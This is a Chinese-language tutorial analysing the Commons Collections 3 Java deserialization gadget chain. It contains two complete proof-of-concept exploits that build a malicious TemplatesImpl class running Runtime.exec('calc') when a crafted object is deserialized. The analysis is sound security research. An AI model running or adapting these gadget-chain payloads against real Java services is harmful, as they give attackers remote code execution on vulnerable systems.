0x01 前言
CC3链相当于CC1和CC2的综合,CC3链采用CC1链AnnotationInvocationHandler#readObject方法作为入口,Map(Proxy).entrySet——>AnnotationInvocationHandler#invoke——>LazyMap#get——>ChainedTransformer#transform。通过CC2的加载有恶意类字节码TemplatesImpl#newTransformer方法执行命令。CC3链使用InstantiateTransformer和TrAXFilter类作为桥梁。
因为采用AnnotationInvocationHandler#readObject作为入口点,所以只适用于jdk8u71之前版本。
<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.25.0-GA</version></dependency><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency>
0x02 相关知识
TrAXFilter
TrAXFilter类属于com.sun.org.apache.xalan.internal.xsltc.trax包,其构造方法如图,它会调用传入参数templates的newTransformer方法,因此我们只要能将TrAXFilter类实例化并传载有恶意类字节码的templates对象即可触发命令执行,也就不需要CC2中的invokerTransformer来执行该方法了。
InstantiateTransformer
InstantiateTransformer#transform方法会返回传入类对象的类实例,参数为InstantiateTransformer构造方法传入的参数,其构造方法和transform方法如图。联系刚提到的TrAXFilter类,通过InstantiateTransformer#transform对其进行实例化即可触发命令执行。
0x03 利用链分析
poc如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class cc3 {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("CommonsCollections3");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");Transformer[] transformers=new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);Map map=new HashMap();Map lazyMap= LazyMap.decorate(map,chainedTransformer);Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);Object object=constructor.newInstance(Override.class,map1);ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(object);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();}}
TemplatesImpl装载恶意字节码
ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("CommonsCollections3");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");
这部分跟CC2完全一样,使用javasist生成一个恶意类并装载到TemplatesImpl的_bytecodes字段。
ChainedTransformer实现TrAXFilter实例生成
Transformer[] transformers=new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
这部分代码是CC3链与CC1和CC2都不存在的,可以说是CC3链的核心了,InstantiateTransformer#transform生成TrAXFilter实例进而触发TemplatesImpl#newTransformer方法。
这里要注意一点的是TrAXFilter类是不可以反序列化的,而TrAXFilter.class则为Class是可以反序列化的。
动态代理实现Map接口
Map map=new HashMap();Map lazyMap= LazyMap.decorate(map,chainedTransformer);Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
这部分与CC1链一致,将AnnotationInvocationHandler作为动态代理的InvocationHandler对象,对Map接口进行动态代理,Map接口的所有方法都会调用AnnotationInvocationHandler#invoke方法,而该方法会调用其memberValues的get方法即LazyMap的get方法。
AnnotationInvocationHandler入口
Object object=constructor.newInstance(Override.class,map1);
将map1作为AnnotationInvocationHandler的memberValues,在readObject方法里调用Map.entrySet触发命令执行。
利用链如下:
AnnotationInvocationHandler.readObject(Proxy)Map.entrySetAnnotationInvocationHandler.invokeLazyMap.getChainedTransformer.transformConstantTransformer.transformInstantiateTransformer.transformTrAXFilter(构造方法)TemplatesImpl.newTransformerTemplatesImpl.getTransletInstanceTemplatesImpl.defineTransletClasses(Evil)cc2.newInstance()Runtime.exec()
0x04 利用链调试
AnnotationInvocationHandler#readObject
AnnotationInvocationHandler#invoke
LazyMap#get
ChainedTransformer#transform
InstantiateTransformer#transform
TrAXFilter#Constructor
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance

调试时刚进入readObject很乱,猜想应该是嵌套readObject加载的缘故。
0x05 总结
CC3链借用了CC1链的LazyMap#get触发,其实也可以使用p牛的CC链的TransformedMap#setValue触发,代码会更加简练,poc如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class cc31 {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();classPool.appendClassPath(AbstractTranslet);CtClass payload=classPool.makeClass("CommonsCollections3");payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");byte[] bytes=payload.toBytecode();Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});Field field1=templatesImpl.getClass().getDeclaredField("_name");field1.setAccessible(true);field1.set(templatesImpl,"test");Transformer[] transformers=new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};ChainedTransformer transformedChain=new ChainedTransformer(transformers);Map map = new HashMap();map.put("value", "value");Map transformedMap = TransformedMap.decorate(map, null, transformedChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object object = constructor.newInstance(Retention.class, transformedMap);ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));outputStream.writeObject(object);outputStream.close();ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));inputStream.readObject();}}

